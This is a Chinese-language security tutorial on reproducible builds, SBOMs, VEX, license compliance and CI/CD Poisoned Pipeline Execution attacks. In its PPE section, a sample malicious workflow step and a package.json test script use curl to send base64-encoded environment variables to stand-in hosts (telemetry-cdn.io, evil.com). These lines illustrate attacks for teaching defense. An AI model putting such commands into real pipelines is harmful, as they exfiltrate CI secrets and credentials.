#   FROM maven:3.9.6-eclipse-temurin-21
#   (写死版本,不能用 maven:latest)

# 验证
mvn clean verify
sha256sum target/*.jar

# ============================================================
# Docker 镜像(★ 最有价值,也最常被问)
# ============================================================
# 问题:Docker 镜像不只是你的应用,还包括基础镜像层,
#       每一层都带时间戳和元数据,默认不可复现。

# 解法 1:用 BuildKit 的 --provenance + 固定时间戳
cat > Dockerfile <<'EOF'
FROM eclipse-temurin:21-jre-alpine@sha256:xxxx   # ← 用 digest,不用 tag

WORKDIR /app
COPY target/app.jar /app/app.jar

# ★ 关键:把所有文件的时间戳统一(否则每次 COPY 时间戳都不同)
RUN find /app -exec touch -t 202601010000 {} +

USER 1001
ENTRYPOINT ["java", "-jar", "/app/app.jar"]
EOF

# 构建时固定 SOURCE_DATE_EPOCH
export SOURCE_DATE_EPOCH=$(git log -1 --pretty=%ct)
docker build \
  --build-arg SOURCE_DATE_EPOCH=$SOURCE_DATE_EPOCH \
  -t acme/backend:1.2.3 .

# 解法 2:用 ko / bazel / nix 这类天然可复现的构建工具
#   ko(Go 项目的容器构建工具)以可复现构建为核心设计目标
#   ko build --bare --platform=all ./cmd/app

# 验证:用 docker 的 manifest 比对
docker build -t test1 . && docker build -t test2 .
docker inspect test1 --format='{{.Id}}'
docker inspect test2 --format='{{.Id}}'
# 相同 = 可复现 ✓

# ============================================================
# 通用验证脚本(比较两次构建是否一致)
# ============================================================
#!/usr/bin/env bash
# verify_reproducible.sh
set -euo pipefail

echo "=== 第一次构建(在本机) ==="
./build.sh
sha256sum dist/app.tar.gz | awk '{print $1}' > /tmp/hash_local.txt
LOCAL=$(cat /tmp/hash_local.txt)
echo "本地构建哈希: $LOCAL"

echo ""
echo "=== 拉取官方发布的制品 ==="
curl -sSL -o /tmp/app_official.tar.gz \
  "https://repo.acme.com/releases/app-1.2.3.tar.gz"
OFFICIAL=$(sha256sum /tmp/app_official.tar.gz | awk '{print $1}')
echo "官方制品哈希: $OFFICIAL"

echo ""
if [ "$LOCAL" = "$OFFICIAL" ]; then
    echo "✅ 可复现构建验证通过:官方制品与源码构建【逐字节一致】"
    echo "   → 可以确认发布包中没有源码之外的额外内容"
else
    echo "❌ 可复现构建验证失败!"
    echo "   本地: $LOCAL"
    echo "   官方: $OFFICIAL"
    echo ""
    echo "★ 这不【一定】意味着有后门,也可能是:"
    echo "   ① 构建环境版本不一致(JDK/Go/Node 版本、系统库版本)"
    echo "   ② 构建参数不一致(编译选项、profile)"
    echo "   ③ 官方用了未提交的本地修改"
    echo ""
    echo "   但如果排除了以上原因仍然对不上,【必须停下来彻查】——"
    echo "   这正是 xz-utils 后门被发现的方式。"
    exit 1
fi

★ 可复现构建的现状(诚实说明):

✅ 做得好的:
   - Debian:已有 95%+ 的软件包实现可复现构建(做了十多年的工程)
   - Go 生态:语言层面支持良好(-trimpath 等)
   - Nix / Guix:整个包管理系统就是围绕可复现构建的
   - Bitcoin Core:从 2016 年起所有发布都是可复现的(且由多个独立志愿者验证)
     ★ 这是可复现构建最有说服力的成功案例:
       一个涉及几十亿美元的系统,靠"全球志愿者各自构建并比对哈希"来保证
       二进制没有被植入后门。

⚠️ 做得一般的:
   - Java 生态:可以做,但需要额外插件,且不同 JDK 版本差异大
   - Docker 镜像:可以做,但要固定很多细节
   - npm 包:大部分不可复现(很多包发布的是构建后的产物)

❌ 基本做不到的:
   - 涉及深度学习模型训练(天然有随机性)
   - 依赖闭源工具链的构建
   - 需要代码签名的(签名本身不可复现,要先构建后签名,比对未签名的部分)

★ 给面试的务实结论:
  "可复现构建是供应链安全的终极手段,但成本高,不适合所有项目。
   实践中我会按价值排序:
     ① 成本最低收益最高的先做:lockfile + 容器化构建环境(消除依赖和工具版本差异)
     ② 再做:SOURCE_DATE_EPOCH + 去路径(消除时间和路径差异)
     ③ 高价值组件(如加密库、认证组件)再追求完整的可复现构建"

9.4 SBOM 与资产清单:Log4Shell 时你能不能一小时答出来

9.4.1 SBOM 是什么

SBOM(Software Bill of Materials,软件物料清单)= 一份结构化的清单,列出构成一个软件的所有组件(开源依赖、版本、许可证、来源)。

生活类比:

食品包装背面有一个"配料表":
    配料:小麦粉、水、白砂糖、植物油、鸡蛋、食用盐、酵母、
         食品添加剂(碳酸氢钠、焦磷酸二氢二钠)...

为什么需要它?
  ★ 当新闻说"某批次白砂糖含瘦肉精"时,你只要看配料表,
    就能立刻知道自己买的这个面包有没有问题。
    没有配料表 → 你得打电话问厂家,厂家得去查仓库 —— 三天过去了。

SBOM 就是软件的配料表。
  ★ 当新闻说"log4j 2.14.1 有 RCE 漏洞(CVSS 10.0)"时,
    你只要查 SBOM,10 分钟就能知道:
      - 哪些产品用了它
      - 用的是哪个版本
      - 在哪个依赖路径里(是直接用还是传递依赖)

★ Log4Shell 时有无 SBOM 的对比(这个场景在 2021 年真实发生在无数公司):

没有 SBOM 有 SBOM
回答“我们用了吗” 全公司 grep pom.xml,通宵 SELECT * FROM sbom WHERE component='log4j-core' → 10 分钟
覆盖率 只找到 pom.xml 里显式声明的 ★ 能找到传递依赖、Docker 基础镜像里的、node_modules 里的
准确性 有人漏、有人重复报 唯一事实来源
确认修复完成 再 grep 一遍,还是不确定 重新生成 SBOM 比对,确认归零
向监管/客户报告 手写 Excel,边写边改 直接导出
耗时 3~7 天(且心惊胆战) 2~4 小时

美国行政令 14028(2021 年,SolarWinds 事件后拜登签署)规定:向联邦政府销售软件的供应商必须提供 SBOM。这是 SBOM 从“最佳实践”变成“强制要求”的转折点。欧盟的 CRA(Cyber Resilience Act)也有类似要求。中国虽未强制,但金融、电信行业监管已在推动。

9.4.2 三种 SBOM 格式与生成工具

格式对比(主流就三种,记住前两种):

格式 全称 主导方 特点 适合场景
SPDX Software Package Data Exchange Linux Foundation,已是 ISO/IEC 5962 国际标准 ★ 最全面的许可证字段,合规导向;历史悠久 合规审计、许可证管理、开源治理、向客户交付
CycloneDX — OWASP ★ 安全导向:原生支持 VEX、漏洞、服务、密码学资产;轻量 安全运营、漏洞管理、DevSecOps
SWID Software Identification Tags ISO/IEC 19770-2 最老,主要用于软件资产管理(SAM) 逐步边缘化

怎么选? 一句话:合规用 SPDX,安全用 CycloneDX。 实际上两者都能表达基本信息,而且可以互相转换(cyclonedx-cli convert)。 很多公司两种都生成:SPDX 给客户/审计,CycloneDX 进自己的安全平台。

生成工具实战:

# ============================================================
# 工具一:Syft(Anchore 出品,★ 最通用,支持镜像/目录/多种语言)
# ============================================================
# 安装
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin

# 扫描容器镜像
syft ghcr.io/acme/backend:v1.2.3 -o cyclonedx-json > sbom.cdx.json
syft ghcr.io/acme/backend:v1.2.3 -o spdx-json     > sbom.spdx.json

# 扫描本地目录(源码)
syft dir:./my-project -o cyclonedx-json > sbom.json

# ★ 扫描 jar 包(Java 同学最关心的:找出 fat jar 里所有依赖)
syft file:./target/app.jar -o cyclonedx-json > sbom.json

# 输出为表格,人眼看
syft ghcr.io/acme/backend:v1.2.3 -o table | head -40

# 输出示例(table 格式):
# NAME                    VERSION      TYPE
# log4j-core              2.14.1       java-archive   ← ★ 一眼看到高危组件
# spring-core             5.3.18       java-archive
# jackson-databind        2.13.2       java-archive
# openssl                 1.1.1n       binary
# ...

# ★ 常用技巧:只看某类组件
syft ghcr.io/acme/backend:v1.2.3 -o json | jq -r '.artifacts[] | "\(.name)@\(.version)"' | sort -u

# ============================================================
# 工具二:Trivy(Aqua 出品,★ SBOM + 漏洞扫描一体)
# ============================================================
trivy image --format cyclonedx --output sbom.json ghcr.io/acme/backend:v1.2.3
# ★ 优点:一份 SBOM 里同时带漏洞信息(CycloneDX 的 vulnerability 字段)

# ============================================================
# 工具三:Maven 插件(Java 项目原生集成)
# ============================================================
# pom.xml 加:
# <plugin>
#   <groupId>org.cyclonedx</groupId>
#   <artifactId>cyclonedx-maven-plugin</artifactId>
#   <version>2.7.11</version>
#   <executions>
#     <execution>
#       <phase>package</phase>
#       <goals><goal>makeAggregateBom</goal></goals>
#     </execution>
#   </executions>
# </plugin>
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom
# 产出:target/bom.json(CycloneDX)和 target/bom.xml

# ============================================================
# 工具四:cdxgen(CycloneDX 官方的通用生成器,支持语言最多)
# ============================================================
npm install -g @cyclonedx/cdxgen
cdxgen -o sbom.json                  # 自动识别项目类型
cdxgen -t java -o sbom.json          # 指定 Java
# ★ 优点:支持 20+ 种语言/包管理器,甚至支持生成"服务级 SBOM"

# ============================================================
# 工具五:npm / pip 原生
# ============================================================
npm sbom --sbom-format cyclonedx > sbom.json      # npm 8.15+ 内置
pip install cyclonedx-bom && cyclonedx-py -o sbom.json

# ============================================================
# ★ 转换与合并
# ============================================================
# CycloneDX CLI
cyclonedx-cli convert --input-file sbom.spdx.json --output-file sbom.cdx.json --output-format json

# 合并多个 SBOM(如前端 + 后端 + 基础镜像)
# 用 Dependency-Track 的 API,或者 jq 手工合并 components 数组

SBOM 内容长什么样(CycloneDX 片段):

{
  "bomFormat": "CycloneDX",
  "specVersion": "1.5",
  "serialNumber": "urn:uuid:3f9c8b1e-7a2d-4f6c-8b1e-7a2d4f6c8b1e",
  "version": 1,
  "metadata": {
    "timestamp": "2026-03-15T02:11:03Z",
    "component": {
      "type": "application",
      "name": "acme-backend",
      "version": "1.2.3"
    },
    "tools": [{ "name": "syft", "version": "1.0.0" }]
  },
  "components": [
    {
      "type": "library",
      "name": "log4j-core",
      "version": "2.14.1",
      // ★ ★ 最关键字段:PURL(包 URL),全球唯一的组件标识
      "purl": "pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1",
      "licenses": [{ "license": { "id": "Apache-2.0" } }],
      "hashes": [{ "alg": "SHA-256", "content": "3f9c8b1e..." }],
      // ★ 依赖路径:能回答"它是怎么被引入的"
      "evidence": {
        "identity": { "confidence": 1.0 }
      }
    },
    {
      "type": "library",
      "name": "spring-core",
      "version": "5.3.18",
      "purl": "pkg:maven/org.springframework/spring-core@5.3.18",
      "licenses": [{ "license": { "id": "Apache-2.0" } }]
    }
  ],
  // ★ 依赖关系图:谁依赖谁
  "dependencies": [
    { "ref": "pkg:maven/acme/backend@1.2.3",
      "dependsOn": ["pkg:maven/org.springframework/spring-core@5.3.18"] },
    { "ref": "pkg:maven/org.springframework/spring-core@5.3.18",
      "dependsOn": ["pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1"] }
  ]
}

★ PURL(Package URL)—— SBOM 里最重要的字段

PURL 是一个标准化的组件标识格式,长得像这样:
    pkg:<类型>/<命名空间>/<名称>@<版本>?<限定符>#<子路径>

例子:
    pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1
    pkg:npm/lodash@4.17.21
    pkg:pypi/requests@2.31.0
    pkg:golang/google.golang.org/grpc@v1.58.3
    pkg:docker/acme/backend@1.2.3
    pkg:deb/debian/openssl@1.1.1n?arch=amd64

★ 为什么重要:
   同一个组件在不同工具里名字写法不同(log4j-core / log4j:log4j-core / org.apache.logging.log4j:log4j-core),
   没有统一标识就【无法跨系统关联】。

   PURL 让这些系统能互相"对上号":
     - SBOM
     - 漏洞数据库(NVD、OSV、GitHub Advisory)
     - 扫描器(Trivy、Grype)
     - 治理平台(Dependency-Track)
   → 都认 PURL,所以能自动联动。

9.4.3 SBOM 的四个实际用途 + VEX(为什么光有 SBOM 不够)

用途一:漏洞应急响应(前文已详述,这是最主要用途)

用途二:许可证合规(9.4.4 详述)

用途三:并购/审计的尽调材料 —— 收购一家公司时,SBOM 是判断“技术债务和风险”的依据

用途四:客户交付与合规证明 —— 美国行政令 14028、欧盟 CRA

★ 但光有 SBOM 会掉进一个大坑:告警疲劳

真实场景:

  你给 200 个服务都生成了 SBOM,接到漏洞扫描器。
  第二天早上,安全平台报出 3,847 个漏洞。

  开发团队看了一眼,骂了一句,然后继续写业务代码。
  —— 因为里面 90% 都是"误报":

    ① 这个 CVE 影响的是 log4j 的 JNDI 功能,但我们从来没用过 JNDI
    ② 这个漏洞在 Windows 上才有,我们跑在 Linux 容器里
    ③ 这个漏洞需要攻击者已经有本地 shell,而我们的服务不提供 shell
    ④ 这个包虽然打进了镜像,但那个代码路径永远走不到

  ★ 结果:告警没人看 → 真正的告警也被淹没 → 等于没有 SBOM

  这就是 VEX 要解决的问题。

VEX(Vulnerability Exploitability eXchange,漏洞可利用性交换):

一句话:VEX 是 SBOM 的【补充说明】,
        由【软件供应商】声明"某个 CVE 在我的产品里到底影不影响"。

★ 关键区别:
   SBOM 说:  "我的产品里有 log4j-core 2.14.1"(事实)
   扫描器说: "log4j-core 2.14.1 有 CVE-2021-44228,CVSS 10.0"(通用漏洞库结论)
   VEX 说:   "但我们的产品里,这个漏洞【不可利用】,原因是 XXX"(供应商的判断)

  ★ 为什么供应商说了算?
    因为只有供应商知道自己的产品是怎么用这个组件的。
    NVD 的 CVSS 评分是"通用场景下的严重性",
    不代表在你的具体产品里也这么严重。

VEX 的四种状态(记住这四个词):

状态 含义 例子
not_affected ★ 不受影响(有明确理由) “我们的产品不使用 log4j 的 JNDI Lookup 功能,且已通过配置禁用”
affected 确实受影响,要修 “我们的产品使用了该组件的 XXX 功能,确认受影响,已在 2.0.1 修复”
fixed 已在某版本修复 “该问题已在 v1.5.2 中修复,请升级”
under_investigation 正在调查中,暂时不知道 “我们正在评估影响,将在 72 小时内给出结论”

OpenVEX 示例(目前最新的 VEX 格式标准):

{
  "@context": "https://openvex.dev/ns/v0.2.0",
  "@id": "https://acme.com/vex/backend-2026-03-15.json",
  "author": "Acme Security Team <security@acme.com>",
  "timestamp": "2026-03-15T02:11:03Z",
  "version": 1,
  "statements": [
    {
      // ★ 声明针对哪个产品
      "products": [
        { "@id": "pkg:oci/backend@sha256:3f9c8b1e...?platform=linux%2Famd64" }
      ],
      // ★ 针对哪个漏洞
      "vulnerability": { "@id": "CVE-2021-44228" },
      // ★ 状态:不受影响
      "status": "not_affected",
      // ★ ★ 必须有理由(这是 VEX 的灵魂 —— 没有理由的声明不可信)
      "justification": "vulnerable_code_not_in_execute_path",
      // ★ 详细解释
      "statement": "本产品包含 log4j-core 2.14.1,但:1) 已通过 JVM 参数 -Dlog4j2.formatMsgNoLookups=true 禁用 JNDI lookup;2) 产品中不存在使用 JNDI 的代码路径;3) 运行时环境为 JRE 21,JNDI LDAP 类加载默认已禁用。经渗透测试验证不可利用。",
      // ★ 影响声明的时效(可选,用于到期提醒复查)
      "status_notes": "2026-03-15 由安全团队验证,建议 90 天后复查"
    },
    {
      "products": [
        { "@id": "pkg:oci/backend@sha256:3f9c8b1e...?platform=linux%2Famd64" }
      ],
      "vulnerability": { "@id": "CVE-2023-44487" },
      "status": "fixed",
      "statement": "HTTP/2 Rapid Reset 漏洞已在 v1.5.2 中通过升级 netty 至 4.1.100.Final 修复。"
    }
  ]
}

★ VEX 的五种标准 justification(填写 not_affected 时必须从里面选):

justification 含义
component_not_present 这个组件其实不在产品里(SBOM 误报,比如只是构建时依赖,没打进产物)
vulnerable_code_not_present 易受攻击的那段代码不在(比如只有部分源码被打包)
vulnerable_code_not_in_execute_path ★ 代码在,但那条路径永远走不到
vulnerable_code_cannot_be_controlled_by_adversary 代码能走到,但攻击者控制不了输入
inline_mitigations_already_exist ★ 已有缓解措施(如 WAF、配置禁用、沙箱)

面试加分点:很多人只知道 SBOM,不知道 VEX。能说出“SBOM 解决’我有什么’,VEX 解决’这些漏洞里哪些是真问题’”,说明你真的做过漏洞运营,而不只是跑过扫描器。

9.4.4 许可证合规:一个能告到你改架构的风险

为什么开发人员要关心许可证:

真实案例:
  1. 2008 年,思科被 FSF 起诉,因其 Linksys 产品使用了 GPL 代码却未开源
     → 最终和解,被迫开源并成立合规团队

  2. 多家公司因使用 AGPL 组件(如 iText、MongoDB 旧版、Neo4j 企业版)
     被要求开源自己的整个产品代码 —— 或支付几十万欧元的商业授权费
     ★ AGPL 的传染性极强:只要你在"网络服务"中使用,
       【就必须公开你自己的完整源码】

  3. 2018~2019 年,Redis Labs / MongoDB / Elasticsearch 相继把许可证
     从开源协议改为 SSPL / 自有协议
     → 大量云厂商和商业公司被迫下架相关产品或购买商业许可
     → ★ 教训:许可证是会【变】的,今天的开源不等于明天的开源

常见许可证风险分级:

风险等级 许可证 传染性 核心义务 商业产品中使用
🔴 极高 AGPL-3.0 ★★★★★ 网络服务也算“分发”,必须公开自己全部源码 ⛔ 几乎不可用(除非你也开源)
🔴 高 GPL-2.0/3.0 ★★★★ 分发二进制必须公开自己全部源码 ⛔ 不可用于闭源产品
🟡 中 LGPL ★★ 动态链接 OK;修改了 LGPL 代码本身就要开源那部分 ⚠️ 谨慎,注意静态链接问题
🟡 中 SSPL / BSL / Elastic License ★★★ 类似 AGPL,且限制“作为服务提供” ⚠️ 需要商业授权(云厂商尤其注意)
🟢 低 Apache-2.0 ★ 保留声明 + 声明修改 + 含专利授权 ✅ 友好
🟢 低 MIT / ISC / BSD — 保留版权声明即可 ✅ 非常友好
⚪ 注意 CC-BY-SA 等 — 不是为软件设计的,别用在代码上 ❌ 不适合软件

一个常见误解:“我把 GPL 的代码 copy 到我项目里,只要不发布就没事。” 错。GPL 的触发条件是“分发(distribute)”。而SaaS 服务通常不算分发 —— 这正是 AGPL 被发明出来的原因(AGPL 专门堵这个窟窿)。 但如果你是卖给客户部署到客户服务器(私有化交付),那就是分发,GPL 会触发。

许可证扫描实操:

# ============================================================
# 工具一:Syft(生成 SBOM 时同时带出许可证,最省力)
# ============================================================
syft dir:./my-project -o json | \
  jq -r '.artifacts[] | "\(.name)@\(.version)\t\(.licenses[].value // "UNKNOWN")"' | \
  sort | column -t

# ★ 只看高风险许可证(这才是你真正要关心的)
syft dir:./my-project -o json | \
  jq -r '.artifacts[]
         | select(.licenses[].value | test("GPL|AGPL|SSPL|CC-BY-SA"; "i"))
         | "⚠️  \(.name)@\(.version)  →  \(.licenses[].value)"'

# ============================================================
# 工具二:pip-licenses(Python)
# ============================================================
pip install pip-licenses
pip-licenses --format=markdown
pip-licenses --fail-on="GPL;AGPL"    # ★ CI 里阻断

# ============================================================
# 工具三:license-checker(npm)
# ============================================================
npx license-checker --summary
npx license-checker --onlyAllow 'MIT;Apache-2.0;BSD-3-Clause;ISC'   # ★ CI 阻断
npx license-checker --production --json --out licenses.json

# ============================================================
# 工具四:Maven(用 license-maven-plugin)
# ============================================================
mvn com.mycila:license-maven-plugin:check
# 或者在 SBOM 里筛(推荐,一份 SBOM 解决两个问题)

# ============================================================
# ★ CI 中集成示例(GitHub Actions)
# ============================================================
# - name: License compliance check
#   run: |
#     syft dir:. -o json > sbom.json
#     FORBIDDEN=$(jq -r '.artifacts[]
#       | select(.licenses[].value | test("AGPL|SSPL"; "i"))
#       | .name' sbom.json)
#     if [ -n "$FORBIDDEN" ]; then
#       echo "❌ 发现高风险许可证组件:"
#       echo "$FORBIDDEN"
#       exit 1
#     fi

★ 许可证治理的三条务实建议:

① 不要试图"杜绝"所有 GPL —— 那会让开发没法干活
   正确做法:分级管控
     - 构建时依赖(test scope、build 插件):不管(不进产物,不触发 GPL)
     - 运行时依赖但静态链接/打包进产物:禁止 AGPL/GPL
     - 运行时依赖且动态链接:GPL 需要法务评估,LGPL 一般 OK

② 建立"许可证白名单"而不是"黑名单"
   黑名单永远列不完(新协议层出不穷)。
   白名单:MIT / Apache-2.0 / BSD / ISC / PSF / Python-2.0
   不在白名单里的 → 走人工审批流程。

③ ★ 关注许可证【变更】
   Redis/MongoDB/Elasticsearch 的教训:
   你今天合规,不代表明年还合规。
   做法:把"依赖的许可证"纳入 SBOM 的日常 diff,变了就告警。

9.4.5 SBOM 落地路线图与五个常见误区

五步落地路线(给面试官的“我怎么推这个项目”):

【第 1 步】选一个试点,先跑通(1 周)
   选一个有代表性的服务(最好是有已知漏洞的,能立刻看到价值)
   → 生成 SBOM → 导入 Dependency-Track → 看它报出什么
   ★ 这一步的目标是"让团队看到 SBOM 长什么样",别追求完美

【第 2 步】接入 CI,自动化生成(2 周)
   - 每次构建自动生成 SBOM
   - SBOM 作为构建产物保存,和制品绑定
   - ★ 用 cosign attest 把 SBOM 附到镜像上(9.3.2 已讲)
   - 上传到统一平台(Dependency-Track)

【第 3 步】覆盖全量 + 建立"唯一事实来源"(1~2 月)
   - 所有服务都生成
   - ★ 关键:建立"服务 → SBOM"的映射表,支持按组件反查服务
   - 接漏洞情报源(NVD、OSV、GitHub Advisory)
   - 出 Log4Shell 时,一条 SQL 查出所有受影响服务 ← 这一步是价值兑现的时刻

【第 4 步】接入 VEX,治理告警疲劳(1~2 月)
   - 对 top 告警逐个评估,出具 VEX 声明
   - ★ 把"误报"固化下来,下次不再报
   - 建立 SLA:critical 7 天、high 30 天、medium 90 天

【第 5 步】左移 + 卡点(持续)
   - PR 阶段:新增依赖自动检查许可证和已知漏洞
   - 部署阶段:制品必须带有效 SBOM 和签名才允许部署(准入控制)
   - 季度:SBOM 巡检,清理无用依赖

五个常见误区:

误区 真相
❌ “SBOM 生成了就完事了” ★ SBOM 是会过期的。代码每天都在变,SBOM 必须跟着变。静态生成一次 = 没有
❌ “SBOM 能防住攻击” SBOM 不防任何攻击。它是“出事时的地图”,不是“防护墙”。它的价值在响应速度
❌ “我们用了商业扫描器,不需要 SBOM” 扫描器覆盖的是它认识的东西。自研组件、内部包、手工打进镜像的二进制,扫描器看不到,SBOM 可以补
❌ “SBOM 会泄露我的技术栈给攻击者” 部分成立,所以SBOM 要分级管理:内部 SBOM 全量,对外交付的 SBOM 可以脱敏。但不要因此就不做 —— 攻击者拿到你的镜像一样能扫出来
❌ “我们可以自己用 Excel 维护” 超过 20 个服务就会崩溃。必须自动化,必须和 CI 绑定,否则一定滞后

9.5 CI/CD 流水线安全:被严重低估的“最高价值目标”

9.5.1 为什么 CI 是攻击者的首选目标

先建立一个认知:在现代软件公司里,CI/CD 系统往往是整个公司权限最大、防护最弱的系统。

为什么?看看一台 CI 构建机上通常有什么:

  ✓ 所有源代码的读取权限(所有仓库)
  ✓ 制品仓库的写权限(能发布 npm 包、推送 Docker 镜像)
  ✓ 云厂商的凭据(AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY)
  ✓ K8s 集群的 kubeconfig(能部署到生产)
  ✓ 数据库密码、第三方 API key(在 CI secrets 里)
  ✓ 代码签名密钥的一部分(或者在 OIDC 模式下有签名权限)
  ✓ 内网访问权限(CI 通常能访问内网的所有服务)

★ 换句话说:攻陷 CI = 一次性拿到【发布权限 + 生产权限 + 全部源码】

  而防护呢?
  ✗ 构建机的安全加固往往不如生产服务器
  ✗ 流水线的变更(.github/workflows/*.yml)经常没有 code review
  ✗ CI 日志里可能明文打印密钥(没人看日志)
  ✗ 第三方 Action 随便引用,没人审查
  ✗ 一个组织里可能有几百条流水线,没人知道哪些有风险

★ 结论:
  SolarWinds 事件(2020)就是攻陷构建系统。
  Codecov 事件(2021)是攻击者改了 CI 里用的一个 bash 脚本,
  窃取了 2.3 万个客户的环境变量(含大量 CI 密钥),持续 2 个月。

攻击 CI 的四种路径(后面详细展开前三种):

路径一:改流水线配置本身
   → .github/workflows/build.yml、Jenkinsfile、.gitlab-ci.yml
   → 9.5.2 的 PPE(Poisoned Pipeline Execution)

路径二:改流水线【依赖的东西】
   → 流水线里调用的脚本(如 codecov 的 bash uploader)
   → 流水线里引用的第三方 Action / 插件
   → 流水线里 npm install 的依赖(回到 9.2.4 的生命周期脚本)
   ★ 这条路径最隐蔽:workflow 文件本身没变,变的是它引用的东西

路径三:攻陷构建机本身
   → Self-hosted runner 的漏洞、暴露在公网的 Jenkins、弱密码
   → 9.5.5

路径四:利用流水线【正常功能】做坏事
   → 构建缓存投毒、artifact 投毒、日志窃取
   → 9.5.3 的第 7、10 条

9.5.2 PPE(Poisoned Pipeline Execution):三种形态

PPE = 污染流水线执行。由安全研究员(Cider Security,现属 Palo Alto)在 2022 年提出并系统分类。它是“CI 被攻陷”的最主要手法。

核心思路:攻击者不需要攻破 CI 系统本身,他只要能改“流水线要执行的内容”,就能让流水线用合法身份、合法权限替他干活。

生活类比:

你是一家公司的老板,有一个特别能干又特别听话的助理(= CI 系统)。
助理有公司所有的钥匙(仓库钥匙、保险柜钥匙、公章)。

传统攻击:  小偷半夜翻墙进办公室偷东西
            → 会触发警报

PPE:       小偷给你的助理发了一封邮件:
            "老板让你今天下班前把保险柜里的东西交给门口的张师傅"
           助理核对了"这邮件确实来自你的邮箱"(其实是被伪造/劫持的),
           于是【用他自己的合法权限】把东西交出去了。

           全程没有任何"入侵"行为 ——
           有权限的人(助理),做了他本来就有权限做的事。

形态一:D-PPE(Direct PPE,直接污染流水线)

做法:攻击者直接修改流水线配置文件(.github/workflows/*.yml、Jenkinsfile、.gitlab-ci.yml),加入恶意步骤。

# ===== 攻击者提交的 PR diff(D-PPE 示例)=====
# 文件:.github/workflows/ci.yml

name: CI
on: [push, pull_request]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run tests
        run: npm test

      # ★★★ 攻击者加的这几行 ★★★
      # 伪装成"上传测试覆盖率",实际是把环境变量传走
      - name: Upload coverage
        run: |
          curl -s -X POST https://telemetry-cdn.io/collect \
            -d "$(env | base64 -w0)"
        # ★ 或者更隐蔽的写法:
        #   - name: Debug (temporary)
        #     run: echo "::set-output name=debug::$(env | base64 -w0)"
        #   → 输出会打印到日志里,而【公开仓库的日志是任何人可见的】

为什么能成功:

① 很多仓库的 workflow 文件【没有设置 CODEOWNERS】
   → 任何人提 PR 改 .github/ 都不需要额外审批

② PR 的 diff 很长时,加在中间的几行很难被 review 发现
   ★ 尤其当 diff 里有 500 行业务代码 + 8 行 workflow 改动时

③ 就算要求 review,攻击者可以先【提几个正常 PR 建立信任】,
   第 4 个 PR 才夹带恶意内容

④ 有些仓库开了"允许 maintainer 修改 PR",
   攻击者甚至可以提完 PR 后再追加 commit

防御(D-PPE):

# ★ 防御 1:CODEOWNERS 强制 review(最重要)
cat > .github/CODEOWNERS <<'EOF'
# .github/ 下所有文件必须由安全团队 review
/.github/              @acme/security-team
/.github/workflows/    @acme/security-team @acme/platform-team

# 其他关键文件
/Dockerfile            @acme/security-team
/**/pom.xml            @acme/architects
EOF

# 然后在分支保护规则里开启:
#   Settings → Branches → Branch protection rules → 勾选
#     ☑ Require a pull request before merging
#     ☑ Require review from Code Owners     ← ★ 这一项
#     ☑ Require approvals: 2
#     ☑ Dismiss stale pull request approvals when new commits are pushed
#     ☑ Require status checks to pass before merging

# ★ 防御 2:环境隔离 —— 敏感 job 必须经人工审批
#   在 GitHub 里配置 Environment(如 production),
#   设置 Required reviewers,这样即使 workflow 被改,
#   部署到生产也需要人点一下
# ★ 防御 3:敏感操作放独立 job,并用 environment 保护
jobs:
  build:
    runs-on: ubuntu-latest
    # 普通构建,fork PR 也能跑(但没密钥)
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm test

  deploy:
    needs: build
    runs-on: ubuntu-latest
    environment: production     # ★ 引用受保护的 environment
    # 在 GitHub 仓库设置里,production 环境配置了 Required reviewers
    # → 就算有人改了 workflow,这一步也会【卡住等人审批】
    steps:
      - run: ./deploy.sh

形态二:I-PPE(Indirect PPE,间接污染流水线)

做法:攻击者不改 workflow 文件,而是改流水线会执行到的其他文件 —— 因为那些文件不受 CODEOWNERS 保护。

★ 为什么 I-PPE 更隐蔽:
   CODEOWNERS 保护了 .github/workflows/,
   但流水线里执行的【脚本】通常在别的地方:

   - run: ./scripts/build.sh       ← scripts/ 目录,没人保护
   - run: make test                ← Makefile,没人保护
   - run: npm test                 ← package.json 的 test 脚本,没人保护!
   - uses: ./.github/actions/xxx   ← 本地 action(有些仓库没保护这个子目录)
   - 语言生态的配置文件:pom.xml、setup.py、Cargo.toml

   ★★ 最经典的例子:package.json 的 scripts 字段
      workflow 里写的是:  - run: npm test
      攻击者在 PR 里改:    "scripts": { "test": "curl evil.com -d $(env|base64)" }
      → workflow 文件【一个字都没变】,但执行的内容完全变了
      → ★ CODEOWNERS 完全拦不住

防御(I-PPE):

# ★ 防御 1:★ 把敏感操作拆到独立 job,并限制 fork PR 的密钥可见性
#   GitHub Actions 的正确做法是"两步走":
#     job A(无密钥):fork PR 跑构建,产出 artifact
#     job B(有密钥):只在 main 分支或经审批后跑,消费 artifact
#   这样 fork PR 永远接触不到密钥

# ★ 防御 2:不要在工作流里调用"可被 PR 修改的脚本"
#   ❌ 危险
#   - run: ./scripts/deploy.sh

#   ✅ 安全:把脚本内容直接内联到 workflow(受 CODEOWNERS 保护)
#   - run: |
#       echo "deploying..."
#       kubectl apply -f k8s/

# ★ 防御 3:对 fork PR 使用 pull_request 事件(不是 pull_request_target)
on:
  pull_request:        # ✅ 安全:fork PR 拿不到 secrets
  # pull_request_target:  # ❌ 危险:见 9.5.3 第 1 条

# ★ 防御 4:审查所有【从仓库内执行】的命令
#   CI 审计时重点看这几种模式:
#     run: npm run <script>      → 去查 package.json 的 scripts
#     run: make <target>         → 去查 Makefile
#     run: ./xxx.sh              → 去查脚本内容
#     uses: ./.github/actions/*  → 去查本地 action

形态三:Public PPE(3PPE,通过第三方组件污染)

做法:攻击者不碰你的仓库,而是攻陷你引用的第三方 Action / 插件 / Docker 镜像。

为什么第三方 Action 特别危险:

  GitHub Actions 生态里,一个 Action 就是一个 GitHub 仓库。
  你这样引用它:
      - uses: some-author/some-action@v1

  ★ 问题在于:
  ① Action 运行在【你的 runner 上】,拥有和你 workflow 一样的权限
     它能读到你的 GITHUB_TOKEN、你的 secrets(如果你的 workflow 传给它)
  ② 很多 Action 是用 tag 引用的(@v1),而 tag 是【可变的】
     → 攻击者攻陷作者账号后,把 v1 tag 指向恶意代码
